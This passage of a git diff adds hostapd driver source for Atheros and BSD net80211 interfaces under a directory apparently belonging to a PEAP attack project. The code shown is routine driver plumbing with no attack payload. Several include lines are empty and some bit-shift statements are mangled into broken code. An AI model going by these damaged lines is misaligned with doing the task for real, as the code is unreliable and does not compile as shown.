ieee80211req_mgmtbuf) + data_len); +} + + +static int atheros_add_tspec(void *priv, const u8 *addr, u8 *tspec_ie, + size_t tspec_ielen) +{ + struct atheros_driver_data *drv = priv; + int retv; + struct ieee80211req_res req; + struct ieee80211req_res_addts *addts = &req.u.addts; + + wpa_printf(MSG_DEBUG, "%s", __func__); + req.type = IEEE80211_RESREQ_ADDTS; + os_memcpy(&req.macaddr[0], addr, IEEE80211_ADDR_LEN); + os_memcpy(addts->tspecie, tspec_ie, tspec_ielen); + retv = set80211priv(drv, IEEE80211_IOCTL_RES_REQ, &req, + sizeof(struct ieee80211req_res)); + if (retv < 0) { + wpa_printf(MSG_DEBUG, "%s IEEE80211_IOCTL_RES_REQ FAILED " + "retv = %d", __func__, retv); + return -1; + } + os_memcpy(tspec_ie, addts->tspecie, tspec_ielen); + return addts->status; +} + + +static int atheros_add_sta_node(void *priv, const u8 *addr, u16 auth_alg) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_res req; + struct ieee80211req_res_addnode *addnode = &req.u.addnode; + + wpa_printf(MSG_DEBUG, "%s", __func__); + req.type = IEEE80211_RESREQ_ADDNODE; + os_memcpy(&req.macaddr[0], addr, IEEE80211_ADDR_LEN); + addnode->auth_alg = auth_alg; + return set80211priv(drv, IEEE80211_IOCTL_RES_REQ, &req, + sizeof(struct ieee80211req_res)); +} + +#endif /* CONFIG_IEEE80211R */ + + +/* Use only to set a big param, get will not work. */ +static int +set80211big(struct atheros_driver_data *drv, int op, const void *data, int len) +{ + struct iwreq iwr; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + + iwr.u.data.pointer = (void *) data; + iwr.u.data.length = len; + iwr.u.data.flags = op; + wpa_printf(MSG_DEBUG, "%s: op=0x%x=%d (%s) len=0x%x", + __func__, op, op, athr_get_param_name(op), len); + + if (ioctl(drv->ioctl_sock, IEEE80211_IOCTL_P2P_BIG_PARAM, &iwr) < 0) { + wpa_printf(MSG_DEBUG, "%s: op=0x%x (%s) subop=0x%x=%d " + "value=0x%x,0x%x failed: %d (%s)", + __func__, op, athr_get_ioctl_name(op), iwr.u.mode, + iwr.u.mode, iwr.u.data.length, + iwr.u.data.flags, errno, strerror(errno)); + return -1; + } + return 0; +} + + +static int atheros_send_action(void *priv, unsigned int freq, + unsigned int wait, + const u8 *dst, const u8 *src, + const u8 *bssid, + const u8 *data, size_t data_len, int no_cck) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211_p2p_send_action *act; + int res; + + act = os_zalloc(sizeof(*act) + data_len); + if (act == NULL) + return -1; + act->freq = freq; + os_memcpy(act->dst_addr, dst, ETH_ALEN); + os_memcpy(act->src_addr, src, ETH_ALEN); + os_memcpy(act->bssid, bssid, ETH_ALEN); + os_memcpy(act + 1, data, data_len); + wpa_printf(MSG_DEBUG, "%s: freq=%d, wait=%u, dst=" MACSTR ", src=" + MACSTR ", bssid=" MACSTR, + __func__, act->freq, wait, MAC2STR(act->dst_addr), + MAC2STR(act->src_addr), MAC2STR(act->bssid)); + wpa_hexdump(MSG_MSGDUMP, "athr: act", (u8 *) act, sizeof(*act)); + wpa_hexdump(MSG_MSGDUMP, "athr: data", data, data_len); + + res = set80211big(drv, IEEE80211_IOC_P2P_SEND_ACTION, + act, sizeof(*act) + data_len); + os_free(act); + return res; +} + + +#if defined(CONFIG_WNM) && defined(IEEE80211_APPIE_FRAME_WNM) +static int athr_wnm_tfs(struct atheros_driver_data *drv, const u8* peer, + u8 *ie, u16 *len, enum wnm_oper oper) +{ +#define IEEE80211_APPIE_MAX 1024 /* max appie buffer size */ + u8 buf[IEEE80211_APPIE_MAX]; + struct ieee80211req_getset_appiebuf *tfs_ie; + u16 val; + + wpa_printf(MSG_DEBUG, "atheros: ifname=%s, WNM TFS IE oper=%d " MACSTR, + drv->iface, oper, MAC2STR(peer)); + + switch (oper) { + case WNM_SLEEP_TFS_REQ_IE_SET: + if (*len > IEEE80211_APPIE_MAX - + sizeof(struct ieee80211req_getset_appiebuf)) { + wpa_printf(MSG_DEBUG, "TFS Req IE(s) too large"); + return -1; + } + tfs_ie = (struct ieee80211req_getset_appiebuf *) buf; + tfs_ie->app_frmtype = IEEE80211_APPIE_FRAME_WNM; + tfs_ie->app_buflen = ETH_ALEN + 2 + 2 + *len; + + /* Command header for driver */ + os_memcpy(&(tfs_ie->app_buf[0]), peer, ETH_ALEN); + val = oper; + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN, &val, 2); + val = *len; + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN + 2, &val, 2); + + /* copy the ie */ + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN + 2 + 2, ie, *len); + + if (set80211priv(drv, IEEE80211_IOCTL_SET_APPIEBUF, tfs_ie, + IEEE80211_APPIE_MAX)) { + wpa_printf(MSG_DEBUG, "%s: Failed to set WNM TFS IE: " + "%s", __func__, strerror(errno)); + return -1; + } + break; + case WNM_SLEEP_TFS_RESP_IE_ADD: + tfs_ie = (struct ieee80211req_getset_appiebuf *) buf; + tfs_ie->app_frmtype = IEEE80211_APPIE_FRAME_WNM; + tfs_ie->app_buflen = IEEE80211_APPIE_MAX - + sizeof(struct ieee80211req_getset_appiebuf); + /* Command header for driver */ + os_memcpy(&(tfs_ie->app_buf[0]), peer, ETH_ALEN); + val = oper; + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN, &val, 2); + val = 0; + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN + 2, &val, 2); + + if (set80211priv(drv, IEEE80211_IOCTL_GET_APPIEBUF, tfs_ie, + IEEE80211_APPIE_MAX)) { + wpa_printf(MSG_DEBUG, "%s: Failed to get WNM TFS IE: " + "%s", __func__, strerror(errno)); + return -1; + } + + *len = tfs_ie->app_buflen; + os_memcpy(ie, &(tfs_ie->app_buf[0]), *len); + wpa_printf(MSG_DEBUG, "atheros: %c len=%d", tfs_ie->app_buf[0], + *len); + break; + case WNM_SLEEP_TFS_RESP_IE_NONE: + *len = 0; + break; + case WNM_SLEEP_TFS_IE_DEL: + tfs_ie = (struct ieee80211req_getset_appiebuf *) buf; + tfs_ie->app_frmtype = IEEE80211_APPIE_FRAME_WNM; + tfs_ie->app_buflen = IEEE80211_APPIE_MAX - + sizeof(struct ieee80211req_getset_appiebuf); + /* Command header for driver */ + os_memcpy(&(tfs_ie->app_buf[0]), peer, ETH_ALEN); + val = oper; + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN, &val, 2); + val = 0; + os_memcpy(&(tfs_ie->app_buf[0]) + ETH_ALEN + 2, &val, 2); + + if (set80211priv(drv, IEEE80211_IOCTL_SET_APPIEBUF, tfs_ie, + IEEE80211_APPIE_MAX)) { + wpa_printf(MSG_DEBUG, "%s: Failed to set WNM TFS IE: " + "%s", __func__, strerror(errno)); + return -1; + } + break; + default: + wpa_printf(MSG_DEBUG, "Unsupported TFS oper %d", oper); + break; + } + + return 0; +} + + +static int atheros_wnm_sleep(struct atheros_driver_data *drv, + const u8 *peer, enum wnm_oper oper) +{ + u8 *data, *pos; + size_t dlen; + int ret; + u16 val; + + wpa_printf(MSG_DEBUG, "atheros: WNM-Sleep Oper %d, " MACSTR, + oper, MAC2STR(peer)); + + dlen = ETH_ALEN + 2 + 2; + data = os_malloc(dlen); + if (data == NULL) + return -1; + + /* Command header for driver */ + pos = data; + os_memcpy(pos, peer, ETH_ALEN); + pos += ETH_ALEN; + + val = oper; + os_memcpy(pos, &val, 2); + pos += 2; + + val = 0; + os_memcpy(pos, &val, 2); + + ret = atheros_set_wps_ie(drv, data, dlen, IEEE80211_APPIE_FRAME_WNM); + + os_free(data); + + return ret; +} + + +static int atheros_wnm_oper(void *priv, enum wnm_oper oper, const u8 *peer, + u8 *buf, u16 *buf_len) +{ + struct atheros_driver_data *drv = priv; + + switch (oper) { + case WNM_SLEEP_ENTER_CONFIRM: + case WNM_SLEEP_ENTER_FAIL: + case WNM_SLEEP_EXIT_CONFIRM: + case WNM_SLEEP_EXIT_FAIL: + return atheros_wnm_sleep(drv, peer, oper); + case WNM_SLEEP_TFS_REQ_IE_SET: + case WNM_SLEEP_TFS_RESP_IE_ADD: + case WNM_SLEEP_TFS_RESP_IE_NONE: + case WNM_SLEEP_TFS_IE_DEL: + return athr_wnm_tfs(drv, peer, buf, buf_len, oper); + default: + wpa_printf(MSG_DEBUG, "atheros: Unsupported WNM operation %d", + oper); + return -1; + } +} +#endif /* CONFIG_WNM && IEEE80211_APPIE_FRAME_WNM */ + + +const struct wpa_driver_ops wpa_driver_atheros_ops = { + .name = "atheros", + .hapd_init = atheros_init, + .hapd_deinit = atheros_deinit, + .set_ieee8021x = atheros_set_ieee8021x, + .set_privacy = atheros_set_privacy, + .set_key = atheros_set_key, + .get_seqnum = atheros_get_seqnum, + .flush = atheros_flush, + .set_generic_elem = atheros_set_opt_ie, + .sta_set_flags = atheros_sta_set_flags, + .read_sta_data = atheros_read_sta_driver_data, + .hapd_send_eapol = atheros_send_eapol, + .sta_disassoc = atheros_sta_disassoc, + .sta_deauth = atheros_sta_deauth, + .hapd_set_ssid = atheros_set_ssid, + .hapd_get_ssid = atheros_get_ssid, + .set_countermeasures = atheros_set_countermeasures, + .sta_clear_stats = atheros_sta_clear_stats, + .commit = atheros_commit, + .set_ap_wps_ie = atheros_set_ap_wps_ie, + .set_authmode = atheros_set_authmode, + .set_ap = atheros_set_ap, +#ifdef CONFIG_IEEE80211R + .sta_assoc = atheros_sta_assoc, + .sta_auth = atheros_sta_auth, + .send_mlme = atheros_send_mgmt, + .add_tspec = atheros_add_tspec, + .add_sta_node = atheros_add_sta_node, +#endif /* CONFIG_IEEE80211R */ + .send_action = atheros_send_action, +#if defined(CONFIG_WNM) && defined(IEEE80211_APPIE_FRAME_WNM) + .wnm_oper = atheros_wnm_oper, +#endif /* CONFIG_WNM && IEEE80211_APPIE_FRAME_WNM */ + .set_qos_map = atheros_set_qos_map, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_bsd.c b/peapwn/mods/hostap/src/drivers/driver_bsd.c new file mode 100644 index 000000000..45d6b191c --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_bsd.c @@ -0,0 +1,1631 @@ +/* + * WPA Supplicant - driver interaction with BSD net80211 layer + * Copyright (c) 2004, Sam Leffler + * Copyright (c) 2004, 2Wire, Inc + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include + +#include "common.h" +#include "driver.h" +#include "eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/wpa_common.h" + +#include +#include + +#ifdef __NetBSD__ +#include +#else +#include +#endif +#include + +#ifdef __DragonFly__ +#include +#include +#else /* __DragonFly__ */ +#ifdef __GLIBC__ +#include +#endif /* __GLIBC__ */ +#include +#include +#include +#endif /* __DragonFly__ || __GLIBC__ */ +#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) +#include +#endif +#if __NetBSD__ +#include +#endif + +#include "l2_packet/l2_packet.h" + +struct bsd_driver_data { + struct hostapd_data *hapd; /* back pointer */ + + int sock; /* open socket for 802.11 ioctls */ + struct l2_packet_data *sock_xmit;/* raw packet xmit socket */ + int route; /* routing socket for events */ + char ifname[IFNAMSIZ+1]; /* interface name */ + unsigned int ifindex; /* interface index */ + void *ctx; + struct wpa_driver_capa capa; /* driver capability */ + int is_ap; /* Access point mode */ + int prev_roaming; /* roaming state to restore on deinit */ + int prev_privacy; /* privacy state to restore on deinit */ + int prev_wpa; /* wpa state to restore on deinit */ + enum ieee80211_opmode opmode; /* operation mode */ +}; + +/* Generic functions for hostapd and wpa_supplicant */ + +static enum ieee80211_opmode +get80211opmode(struct bsd_driver_data *drv) +{ + struct ifmediareq ifmr; + + (void) memset(&ifmr, 0, sizeof(ifmr)); + (void) os_strlcpy(ifmr.ifm_name, drv->ifname, sizeof(ifmr.ifm_name)); + + if (ioctl(drv->sock, SIOCGIFMEDIA, (caddr_t)&ifmr) >= 0) { + if (ifmr.ifm_current & IFM_IEEE80211_ADHOC) { + if (ifmr.ifm_current & IFM_FLAG0) + return IEEE80211_M_AHDEMO; + else + return IEEE80211_M_IBSS; + } + if (ifmr.ifm_current & IFM_IEEE80211_HOSTAP) + return IEEE80211_M_HOSTAP; + if (ifmr.ifm_current & IFM_IEEE80211_MONITOR) + return IEEE80211_M_MONITOR; + if (ifmr.ifm_current & IFM_IEEE80211_MBSS) + return IEEE80211_M_MBSS; + } + return IEEE80211_M_STA; +} + + +static int +bsd_set80211(void *priv, int op, int val, const void *arg, int arg_len) +{ + struct bsd_driver_data *drv = priv; + struct ieee80211req ireq; + + os_memset(&ireq, 0, sizeof(ireq)); + os_strlcpy(ireq.i_name, drv->ifname, sizeof(ireq.i_name)); + ireq.i_type = op; + ireq.i_val = val; + ireq.i_data = (void *) arg; + ireq.i_len = arg_len; + + if (ioctl(drv->sock, SIOCS80211, &ireq) < 0) { + wpa_printf(MSG_ERROR, "ioctl[SIOCS80211, op=%u, val=%u, " + "arg_len=%u]: %s", op, val, arg_len, + strerror(errno)); + return -1; + } + return 0; +} + +static int +bsd_get80211(void *priv, struct ieee80211req *ireq, int op, void *arg, + int arg_len) +{ + struct bsd_driver_data *drv = priv; + + os_memset(ireq, 0, sizeof(*ireq)); + os_strlcpy(ireq->i_name, drv->ifname, sizeof(ireq->i_name)); + ireq->i_type = op; + ireq->i_len = arg_len; + ireq->i_data = arg; + + if (ioctl(drv->sock, SIOCG80211, ireq) < 0) { + wpa_printf(MSG_ERROR, "ioctl[SIOCS80211, op=%u, " + "arg_len=%u]: %s", op, arg_len, strerror(errno)); + return -1; + } + return 0; +} + +static int +get80211var(struct bsd_driver_data *drv, int op, void *arg, int arg_len) +{ + struct ieee80211req ireq; + + if (bsd_get80211(drv, &ireq, op, arg, arg_len) < 0) + return -1; + return ireq.i_len; +} + +static int +set80211var(struct bsd_driver_data *drv, int op, const void *arg, int arg_len) +{ + return bsd_set80211(drv, op, 0, arg, arg_len); +} + +static int +set80211param(struct bsd_driver_data *drv, int op, int arg) +{ + return bsd_set80211(drv, op, arg, NULL, 0); +} + +static int +bsd_get_ssid(void *priv, u8 *ssid, int len) +{ + struct bsd_driver_data *drv = priv; +#ifdef SIOCG80211NWID + struct ieee80211_nwid nwid; + struct ifreq ifr; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + ifr.ifr_data = (void *)&nwid; + if (ioctl(drv->sock, SIOCG80211NWID, &ifr) < 0 || + nwid.i_len > IEEE80211_NWID_LEN) + return -1; + os_memcpy(ssid, nwid.i_nwid, nwid.i_len); + return nwid.i_len; +#else + return get80211var(drv, IEEE80211_IOC_SSID, ssid, IEEE80211_NWID_LEN); +#endif +} + +static int +bsd_set_ssid(void *priv, const u8 *ssid, int ssid_len) +{ + struct bsd_driver_data *drv = priv; +#ifdef SIOCS80211NWID + struct ieee80211_nwid nwid; + struct ifreq ifr; + + os_memcpy(nwid.i_nwid, ssid, ssid_len); + nwid.i_len = ssid_len; + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + ifr.ifr_data = (void *)&nwid; + return ioctl(drv->sock, SIOCS80211NWID, &ifr); +#else + return set80211var(drv, IEEE80211_IOC_SSID, ssid, ssid_len); +#endif +} + +static int +bsd_get_if_media(void *priv) +{ + struct bsd_driver_data *drv = priv; + struct ifmediareq ifmr; + + os_memset(&ifmr, 0, sizeof(ifmr)); + os_strlcpy(ifmr.ifm_name, drv->ifname, sizeof(ifmr.ifm_name)); + + if (ioctl(drv->sock, SIOCGIFMEDIA, &ifmr) < 0) { + wpa_printf(MSG_ERROR, "%s: SIOCGIFMEDIA %s", __func__, + strerror(errno)); + return -1; + } + + return ifmr.ifm_current; +} + +static int +bsd_set_if_media(void *priv, int media) +{ + struct bsd_driver_data *drv = priv; + struct ifreq ifr; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + ifr.ifr_media = media; + + if (ioctl(drv->sock, SIOCSIFMEDIA, &ifr) < 0) { + wpa_printf(MSG_ERROR, "%s: SIOCSIFMEDIA %s", __func__, + strerror(errno)); + return -1; + } + + return 0; +} + +static int +bsd_set_mediaopt(void *priv, uint32_t mask, uint32_t mode) +{ + int media = bsd_get_if_media(priv); + + if (media < 0) + return -1; + media &= ~mask; + media |= mode; + if (bsd_set_if_media(priv, media) < 0) + return -1; + return 0; +} + +static int +bsd_del_key(void *priv, const u8 *addr, int key_idx) +{ + struct ieee80211req_del_key wk; + + os_memset(&wk, 0, sizeof(wk)); + if (addr == NULL) { + wpa_printf(MSG_DEBUG, "%s: key_idx=%d", __func__, key_idx); + wk.idk_keyix = key_idx; + } else { + wpa_printf(MSG_DEBUG, "%s: addr=" MACSTR, __func__, + MAC2STR(addr)); + os_memcpy(wk.idk_macaddr, addr, IEEE80211_ADDR_LEN); + wk.idk_keyix = (u_int8_t) IEEE80211_KEYIX_NONE; /* XXX */ + } + + return set80211var(priv, IEEE80211_IOC_DELKEY, &wk, sizeof(wk)); +} + +static int +bsd_send_mlme_param(void *priv, const u8 op, const u16 reason, const u8 *addr) +{ + struct ieee80211req_mlme mlme; + + os_memset(&mlme, 0, sizeof(mlme)); + mlme.im_op = op; + mlme.im_reason = reason; + os_memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + return set80211var(priv, IEEE80211_IOC_MLME, &mlme, sizeof(mlme)); +} + +static int +bsd_ctrl_iface(void *priv, int enable) +{ + struct bsd_driver_data *drv = priv; + struct ifreq ifr; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + + if (ioctl(drv->sock, SIOCGIFFLAGS, &ifr) < 0) { + perror("ioctl[SIOCGIFFLAGS]"); + return -1; + } + + if (enable) { + if (ifr.ifr_flags & IFF_UP) + return 0; + ifr.ifr_flags |= IFF_UP; + } else { + if (!(ifr.ifr_flags & IFF_UP)) + return 0; + ifr.ifr_flags &= ~IFF_UP; + } + + if (ioctl(drv->sock, SIOCSIFFLAGS, &ifr) < 0) { + perror("ioctl[SIOCSIFFLAGS]"); + return -1; + } + + return 0; +} + +#ifdef HOSTAPD +static int +bsd_commit(void *priv) +{ + return bsd_ctrl_iface(priv, 1); +} +#endif /* HOSTAPD */ + +static int +bsd_set_key(const char *ifname, void *priv, enum wpa_alg alg, + const unsigned char *addr, int key_idx, int set_tx, const u8 *seq, + size_t seq_len, const u8 *key, size_t key_len) +{ + struct ieee80211req_key wk; + struct bsd_driver_data *drv = priv; + + wpa_printf(MSG_DEBUG, "%s: alg=%d addr=%p key_idx=%d set_tx=%d " + "seq_len=%zu key_len=%zu", __func__, alg, addr, key_idx, + set_tx, seq_len, key_len); + + if (alg == WPA_ALG_NONE) { +#ifndef HOSTAPD + if (addr == NULL || is_broadcast_ether_addr(addr)) + return bsd_del_key(priv, NULL, key_idx); + else +#endif /* HOSTAPD */ + return bsd_del_key(priv, addr, key_idx); + } + + os_memset(&wk, 0, sizeof(wk)); + switch (alg) { + case WPA_ALG_WEP: + wk.ik_type = IEEE80211_CIPHER_WEP; + break; + case WPA_ALG_TKIP: + wk.ik_type = IEEE80211_CIPHER_TKIP; + break; + case WPA_ALG_CCMP: + wk.ik_type = IEEE80211_CIPHER_AES_CCM; + break; + default: + wpa_printf(MSG_ERROR, "%s: unknown alg=%d", __func__, alg); + return -1; + } + + wk.ik_flags = IEEE80211_KEY_RECV; + if (set_tx) + wk.ik_flags |= IEEE80211_KEY_XMIT; + + if (addr == NULL) { + os_memset(wk.ik_macaddr, 0xff, IEEE80211_ADDR_LEN); + wk.ik_keyix = key_idx; + } else { + os_memcpy(wk.ik_macaddr, addr, IEEE80211_ADDR_LEN); + /* + * Deduce whether group/global or unicast key by checking + * the address (yech). Note also that we can only mark global + * keys default; doing this for a unicast key is an error. + */ + if (is_broadcast_ether_addr(addr)) { + wk.ik_flags |= IEEE80211_KEY_GROUP; + wk.ik_keyix = key_idx; + } else { + wk.ik_keyix = key_idx == 0 ? IEEE80211_KEYIX_NONE : + key_idx; + } + } + if (wk.ik_keyix != IEEE80211_KEYIX_NONE && set_tx) + wk.ik_flags |= IEEE80211_KEY_DEFAULT; +#ifndef HOSTAPD + /* + * Ignore replay failures in IBSS and AHDEMO mode. + */ + if (drv->opmode == IEEE80211_M_IBSS || + drv->opmode == IEEE80211_M_AHDEMO) + wk.ik_flags |= IEEE80211_KEY_NOREPLAY; +#endif /* HOSTAPD */ + wk.ik_keylen = key_len; + if (seq) { +#ifdef WORDS_BIGENDIAN + /* + * wk.ik_keyrsc is in host byte order (big endian), need to + * swap it to match with the byte order used in WPA. + */ + int i; + u8 *keyrsc = (u8 *) &wk.ik_keyrsc; + for (i = 0; i < seq_len; i++) + keyrsc[WPA_KEY_RSC_LEN - i - 1] = seq[i]; +#else /* WORDS_BIGENDIAN */ + os_memcpy(&wk.ik_keyrsc, seq, seq_len); +#endif /* WORDS_BIGENDIAN */ + } + os_memcpy(wk.ik_keydata, key, key_len); + + return set80211var(priv, IEEE80211_IOC_WPAKEY, &wk, sizeof(wk)); +} + +static int +bsd_configure_wpa(void *priv, struct wpa_bss_params *params) +{ +#ifndef IEEE80211_IOC_APPIE + static const char *ciphernames[] = + { "WEP", "TKIP", "AES-OCB", "AES-CCM", "CKIP", "NONE" }; + int v; + + switch (params->wpa_group) { + case WPA_CIPHER_CCMP: + v = IEEE80211_CIPHER_AES_CCM; + break; + case WPA_CIPHER_TKIP: + v = IEEE80211_CIPHER_TKIP; + break; + case WPA_CIPHER_WEP104: + v = IEEE80211_CIPHER_WEP; + break; + case WPA_CIPHER_WEP40: + v = IEEE80211_CIPHER_WEP; + break; + case WPA_CIPHER_NONE: + v = IEEE80211_CIPHER_NONE; + break; + default: + printf("Unknown group key cipher %u\n", + params->wpa_group); + return -1; + } + wpa_printf(MSG_DEBUG, "%s: group key cipher=%s (%u)", + __func__, ciphernames[v], v); + if (set80211param(priv, IEEE80211_IOC_MCASTCIPHER, v)) { + printf("Unable to set group key cipher to %u (%s)\n", + v, ciphernames[v]); + return -1; + } + if (v == IEEE80211_CIPHER_WEP) { + /* key length is done only for specific ciphers */ + v = (params->wpa_group == WPA_CIPHER_WEP104 ? 13 : 5); + if (set80211param(priv, IEEE80211_IOC_MCASTKEYLEN, v)) { + printf("Unable to set group key length to %u\n", v); + return -1; + } + } + + v = 0; + if (params->wpa_pairwise & WPA_CIPHER_CCMP) + v |= 1<wpa_pairwise & WPA_CIPHER_TKIP) + v |= 1<wpa_pairwise & WPA_CIPHER_NONE) + v |= 1<wpa_key_mgmt); + if (set80211param(priv, IEEE80211_IOC_KEYMGTALGS, + params->wpa_key_mgmt)) { + printf("Unable to set key management algorithms to 0x%x\n", + params->wpa_key_mgmt); + return -1; + } + + v = 0; + if (params->rsn_preauth) + v |= BIT(0); + wpa_printf(MSG_DEBUG, "%s: rsn capabilities=0x%x", + __func__, params->rsn_preauth); + if (set80211param(priv, IEEE80211_IOC_RSNCAPS, v)) { + printf("Unable to set RSN capabilities to 0x%x\n", v); + return -1; + } +#endif /* IEEE80211_IOC_APPIE */ + + wpa_printf(MSG_DEBUG, "%s: enable WPA= 0x%x", __func__, params->wpa); + if (set80211param(priv, IEEE80211_IOC_WPA, params->wpa)) { + printf("Unable to set WPA to %u\n", params->wpa); + return -1; + } + return 0; +} + +static int +bsd_set_ieee8021x(void *priv, struct wpa_bss_params *params) +{ + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, params->enabled); + + if (!params->enabled) { + /* XXX restore state */ + return set80211param(priv, IEEE80211_IOC_AUTHMODE, + IEEE80211_AUTH_AUTO); + } + if (!params->wpa && !params->ieee802_1x) { + wpa_printf(MSG_ERROR, "%s: No 802.1X or WPA enabled", + __func__); + return -1; + } + if (params->wpa && bsd_configure_wpa(priv, params) != 0) { + wpa_printf(MSG_ERROR, "%s: Failed to configure WPA state", + __func__); + return -1; + } + if (set80211param(priv, IEEE80211_IOC_AUTHMODE, + (params->wpa ? IEEE80211_AUTH_WPA : IEEE80211_AUTH_8021X))) { + wpa_printf(MSG_ERROR, "%s: Failed to enable WPA/802.1X", + __func__); + return -1; + } + return bsd_ctrl_iface(priv, 1); +} + +#ifdef HOSTAPD +static int +bsd_set_sta_authorized(void *priv, const u8 *addr, + int total_flags, int flags_or, int flags_and) +{ + int authorized = -1; + + /* For now, only support setting Authorized flag */ + if (flags_or & WPA_STA_AUTHORIZED) + authorized = 1; + if (!(flags_and & WPA_STA_AUTHORIZED)) + authorized = 0; + + if (authorized < 0) + return 0; + + return bsd_send_mlme_param(priv, authorized ? + IEEE80211_MLME_AUTHORIZE : + IEEE80211_MLME_UNAUTHORIZE, 0, addr); +} +#endif /* HOSTAPD */ + +static void +bsd_new_sta(void *priv, void *ctx, u8 addr[IEEE80211_ADDR_LEN]) +{ + struct ieee80211req_wpaie ie; + int ielen = 0; + u8 *iebuf = NULL; + + /* + * Fetch and validate any negotiated WPA/RSN parameters. + */ + memset(&ie, 0, sizeof(ie)); + memcpy(ie.wpa_macaddr, addr, IEEE80211_ADDR_LEN); + if (get80211var(priv, IEEE80211_IOC_WPAIE, &ie, sizeof(ie)) < 0) { + printf("Failed to get WPA/RSN information element.\n"); + goto no_ie; + } + iebuf = ie.wpa_ie; + ielen = ie.wpa_ie[1]; + if (ielen == 0) + iebuf = NULL; + else + ielen += 2; + +no_ie: + drv_event_assoc(ctx, addr, iebuf, ielen, 0); +} + +static int +bsd_send_eapol(void *priv, const u8 *addr, const u8 *data, size_t data_len, + int encrypt, const u8 *own_addr, u32 flags) +{ + struct bsd_driver_data *drv = priv; + + wpa_hexdump(MSG_MSGDUMP, "TX EAPOL", data, data_len); + + return l2_packet_send(drv->sock_xmit, addr, ETH_P_EAPOL, data, + data_len); +} + +static int +bsd_set_freq(void *priv, struct hostapd_freq_params *freq) +{ + struct bsd_driver_data *drv = priv; +#ifdef SIOCS80211CHANNEL + struct ieee80211chanreq creq; +#endif /* SIOCS80211CHANNEL */ + u32 mode; + int channel = freq->channel; + + if (channel < 14) { + mode = +#ifdef CONFIG_IEEE80211N + freq->ht_enabled ? IFM_IEEE80211_11NG : +#endif /* CONFIG_IEEE80211N */ + IFM_IEEE80211_11G; + } else if (channel == 14) { + mode = IFM_IEEE80211_11B; + } else { + mode = +#ifdef CONFIG_IEEE80211N + freq->ht_enabled ? IFM_IEEE80211_11NA : +#endif /* CONFIG_IEEE80211N */ + IFM_IEEE80211_11A; + } + if (bsd_set_mediaopt(drv, IFM_MMASK, mode) < 0) { + wpa_printf(MSG_ERROR, "%s: failed to set modulation mode", + __func__); + return -1; + } + +#ifdef SIOCS80211CHANNEL + os_memset(&creq, 0, sizeof(creq)); + os_strlcpy(creq.i_name, drv->ifname, sizeof(creq.i_name)); + creq.i_channel = (u_int16_t)channel; + return ioctl(drv->sock, SIOCS80211CHANNEL, &creq); +#else /* SIOCS80211CHANNEL */ + return set80211param(priv, IEEE80211_IOC_CHANNEL, channel); +#endif /* SIOCS80211CHANNEL */ +} + +static int +bsd_set_opt_ie(void *priv, const u8 *ie, size_t ie_len) +{ +#ifdef IEEE80211_IOC_APPIE + wpa_printf(MSG_DEBUG, "%s: set WPA+RSN ie (len %lu)", __func__, + (unsigned long)ie_len); + return bsd_set80211(priv, IEEE80211_IOC_APPIE, IEEE80211_APPIE_WPA, + ie, ie_len); +#endif /* IEEE80211_IOC_APPIE */ + return 0; +} + +static int +rtbuf_len(void) +{ + size_t len; + + int mib[6] = {CTL_NET, AF_ROUTE, 0, AF_INET, NET_RT_DUMP, 0}; + + if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0) { + wpa_printf(MSG_WARNING, "%s failed: %s\n", __func__, + strerror(errno)); + len = 2048; + } + + return len; +} + +#ifdef HOSTAPD + +/* + * Avoid conflicts with hostapd definitions by undefining couple of defines + * from net80211 header files. + */ +#undef RSN_VERSION +#undef WPA_VERSION +#undef WPA_OUI_TYPE + +static int bsd_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code); + +static const char * +ether_sprintf(const u8 *addr) +{ + static char buf[sizeof(MACSTR)]; + + if (addr != NULL) + snprintf(buf, sizeof(buf), MACSTR, MAC2STR(addr)); + else + snprintf(buf, sizeof(buf), MACSTR, 0,0,0,0,0,0); + return buf; +} + +static int +bsd_set_privacy(void *priv, int enabled) +{ + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, enabled); + + return set80211param(priv, IEEE80211_IOC_PRIVACY, enabled); +} + +static int +bsd_get_seqnum(const char *ifname, void *priv, const u8 *addr, int idx, + u8 *seq) +{ + struct ieee80211req_key wk; + + wpa_printf(MSG_DEBUG, "%s: addr=%s idx=%d", + __func__, ether_sprintf(addr), idx); + + memset(&wk, 0, sizeof(wk)); + if (addr == NULL) + memset(wk.ik_macaddr, 0xff, IEEE80211_ADDR_LEN); + else + memcpy(wk.ik_macaddr, addr, IEEE80211_ADDR_LEN); + wk.ik_keyix = idx; + + if (get80211var(priv, IEEE80211_IOC_WPAKEY, &wk, sizeof(wk)) < 0) { + printf("Failed to get encryption.\n"); + return -1; + } + +#ifdef WORDS_BIGENDIAN + { + /* + * wk.ik_keytsc is in host byte order (big endian), need to + * swap it to match with the byte order used in WPA. + */ + int i; + u8 tmp[WPA_KEY_RSC_LEN]; + memcpy(tmp, &wk.ik_keytsc, sizeof(wk.ik_keytsc)); + for (i = 0; i < 